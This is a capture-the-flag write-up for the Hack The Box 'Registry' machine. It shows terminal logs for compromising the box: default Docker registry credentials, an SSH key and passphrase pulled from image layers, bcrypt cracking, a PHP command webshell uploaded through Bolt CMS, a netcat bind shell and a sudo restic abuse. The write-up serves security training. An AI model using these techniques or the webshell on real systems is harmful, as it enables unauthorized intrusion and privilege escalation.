CTF – HTB – Registry

Hello everyone and welcome to another CTF writeup!

We do the usual with our nmap scan and reveal port 22, 80 and 443. Port 443 reveals a subdomain for docker, so we might have a docker registry HTTP API running!

root@kali:~/Desktop/htb/Registry# nmap -sC -sV -o TCP_scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 18:54 EST
Nmap scan report for registry.htb (
Host is up (0.020s latency).
Not shown: 997 closed ports
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after:  2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.71 seconds

We run a dirbuster for both ports 80 and 443 and we find 2 directories and a file, /install, /bolt and /backup.php.

root@kali:~/Desktop/htb/Registry# cat DirBusterReport-
DirBuster 1.0-RC1 - Report
Report produced on Sun Oct 20 15:08:18 EDT 2019
Directories found during testing:

Dirs found with a 200 response:


Files found during testing:

Files found with a 200 responce:



The php file /backup display’s nothing, we keep this in note so that we can explore it later when we are going to have access to the machine. /bolt folder contains a simple CMS and searchsploit does reveal some exploits but we continue exploring the box. The /install folder reveals only gibberish, we curl this raw data to analyze it :

root@kali:~/Desktop/htb/Registry# curl -L
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

The data reveals to be a gzip file, containing a ca.crt and a readme.md file giving us hints :

root@kali:~/Desktop/htb/Registry# curl -L --output install_output
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100   194  100   194    0     0   5388      0 --:--:-- --:--:-- --:--:--  5388
100  1050    0  1050    0     0   7094      0 --:--:-- --:--:-- --:--:--  7094
root@kali:~/Desktop/htb/Registry# file install_output
install_output: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
root@kali:~/Desktop/htb/Registry# mv install_output install.gzip
root@kali:~/Desktop/htb/Registry# zcat output_install.gz
ca.crt0000775000004100000410000000210613464123607012215 0ustar  www-datawww-data-----BEGIN CERTIFICATE-----
readme.md0000775000004100000410000000020113472260460012667 0ustar  www-datawww-data# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

gzip: output_install.gz: unexpected end of file

Continuing our exploration, we try to find more subdomains but without success :

wfuzz -H "Host : FUZZ.registry.htb" -u http://registry.htb/ -w /usr/share/dnsenum/dns.txt --hw 69

We proceed to docker.registry.htb/v2 to find out a 401 page, credentials admin:admin let us in, which is quite simple there. We can proceed to list all the images in the registry by visiting /v2/_catalog endpoint and download each blob so we can analyze that image locally.

root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/_catalog

To verify which reference we have for this image :

root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/tags/list

According to docker registry manual, we can pull the image manifest sending a GET request to /v2/<name>/manifests/<reference>, we then proceed to download each layer.

root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/manifests/latest > bolt-image_manifest
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100  7439  100  7439    0     0   207k      0 --:--:-- --:--:-- --:--:--  207k
root@kali:~/Desktop/htb/Registry# head bolt-image_manifest
"schemaVersion": 1,
"name": "bolt-image",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"

We can now fetch all blobs and form an image locally :

root@kali:~/Desktop/htb/Registry# cat blobs
root@kali:~/Desktop/htb/Registry# mkdir bolt-image_blobs
root@kali:~/Desktop/htb/Registry# cd ./bolt-image_blobs/
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100   335  100   335    0     0   4718      0 --:--:-- --:--:-- --:--:--  4785
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1.tar.gz
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100   335  100   335    0     0   4407      0 --:--:-- --:--:-- --:--:--  4407
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# tar -xvf blob1.tar.gz

We have the full docker root file system of the container :

root@kali:~/Desktop/htb/Registry/bolt-image_blobs# ls -la
total 84
drwxr-xr-x 21 root root 4096 Feb 16 13:22 .
drwxr-xr-x  3 root root 4096 Feb 16 13:08 ..
drwxr-xr-x  2 root root 4096 Apr 24  2019 bin
drwxr-xr-x  2 root root 4096 Apr 24  2018 boot
drwxr-xr-x  4 root root 4096 Apr 24  2019 dev
drwxr-xr-x 48 root root 4096 Apr 24  2019 etc
drwxr-xr-x  2 root root 4096 Apr 24  2018 home
drwxr-xr-x  8 root root 4096 May 23  2017 lib
drwxr-xr-x  2 root root 4096 Apr 24  2019 lib64
drwxr-xr-x  2 root root 4096 Apr 24  2019 media
drwxr-xr-x  2 root root 4096 Apr 24  2019 mnt
drwxr-xr-x  2 root root 4096 Apr 24  2019 opt
drwxr-xr-x  2 root root 4096 Apr 24  2018 proc
drwx------  3 root root 4096 Apr 24  2019 root
drwxr-xr-x  7 root root 4096 Apr 26  2019 run
drwxr-xr-x  2 root root 4096 Apr 24  2019 sbin
drwxr-xr-x  2 root root 4096 Apr 24  2019 srv
drwxr-xr-x  2 root root 4096 Apr 24  2018 sys
drwxrwxrwt  2 root root 4096 Apr 24  2019 tmp
drwxr-xr-x 10 root root 4096 Apr 24  2019 usr
drwxr-xr-x 12 root root 4096 Apr 24  2019 var

We have a ssh private key /root/.ssh as well as the password for the key in /etc/profile.d/02-ssh.sh, we then proceed to login as bolt :

root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# ls -la
total 24
drwxr-xr-x 2 root root 4096 May 24  2019 .
drwx------ 3 root root 4096 Apr 24  2019 ..
-rw-r--r-- 1 root root   60 May 24  2019 config
-rw------- 1 root root 3326 May 24  2019 id_rsa
-rw-r--r-- 1 root root  743 May 24  2019 id_rsa.pub
-rw-r--r-- 1 root root  444 May 24  2019 known_hosts
root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# cat ../../etc/profile.d/02-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
root@kali:~/Desktop/htb/Registry# ssh -i id_rsa bolt@registry.htb
The authenticity of host 'registry.htb (' can't be established.
ECDSA key fingerprint is SHA256:G1J5ek/T6KuCCT7Xp2IN1LUslRt24mhmhKUo/kWWVrs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'registry.htb,' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

System information as of Sun Feb 16 18:31:40 UTC 2020

System load:  0.02              Users logged in:                1
Usage of /:   6.1% of 61.80GB   IP address for eth0:  
Memory usage: 33%               IP address for docker0:
Swap usage:   0%                IP address for br-1bad9bd75d17:
Processes:    168
Last login: Sun Feb 16 18:25:03 2020 from

We find no interesting privilege escalation vector, we consider pivoting to www-data user since we still have that /backup.php file is readable by everyone but only executable by root user. In /var/www/bolt/app/database we find bolt.db that contains an encrypted password :

root@kali:~/Desktop/htb/Registry# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry       (admin)
1g 0:00:00:11 DONE (2020-02-16 13:50) 0.08525g/s 29.15p/s 29.15c/s 29.15C/s strawberry..ihateyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We proceed to login as an admin in the Bolt CMS, where we use the File Management Tool to upload our reverse php shell. We first modify the config.yml to enable us uploading php files.

However we can’t obtain a shell, we only have timeouts. In that case there is clearly a something blocking the setup of external connections, we can try uploading a backdoor instead and we gain access as www-data :

root@kali:~/Desktop/htb/Registry# cat oneliner.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

A problem we have however is that the our files keep getting deleted every minute in this directory. We simply create a new directory in /html/bolt/, set permission to 777, so we can edit it as bolt, and copy our webshell there.

An easier way to maintain an access to the box is to have a bind shell. We use nc in listener mode. Since there’s a firewall or an entity blocking outgoing connections, consequently blocking all our attempts at a reverse shell, we simply create a bind shell with nc. Fortunately we have it on the victim’s machine. We use our webshell to run netcat by making a GET request to :


In our attacker machine :

root@kali:~/Desktop/htb/Registry# nc 9999
python -c "import pty; pty.spawn('/bin/sh');"
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

To privesc, we find the a command that we can run as a privileged user with www-data :

$ sudo -l
sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*

It can’t be simpler than that, we can append an argument to this command :

$ sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt
sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt
/var/ntrkzgnkotaxyju0ntrinda4yzbkztgw does not exist, skipping
Fatal: all target directories/files do not exist

And we got the root flag! There were many things that were still not explored in this machine, such as the 2 other servers and Both of them ping back, but we did not put any effort to explore them. Obtaining root flag on this box was surprisingly simple, as it just required us to abuse a command as a privileged user.

However obtaining the root user is something different, we would have to setup our own repo with a script that opens a shell, and append an argument to the above command to make a backup at our repo, executing the malicious script.

To summarize, we found an exposed unsafe endpoint to a docker HTTP API with default credentials, that let us download a container which had an ssh key as well as credentials for the user. Exploring the box with this user we found a database file in Bolt CMS /app/database/ folder and found a encrypted password that we successfully cracked. In turn we got the credentials for the Bolt CMS as admin. From there we get a shell as www-data, however a firewall blocked outgoing connections so a simple bind shell let us execute code as www-data. This user had the power to execute a restic backup as root, and we abused this command to ex-filtrate the root.txt flag.

Thanks for reading!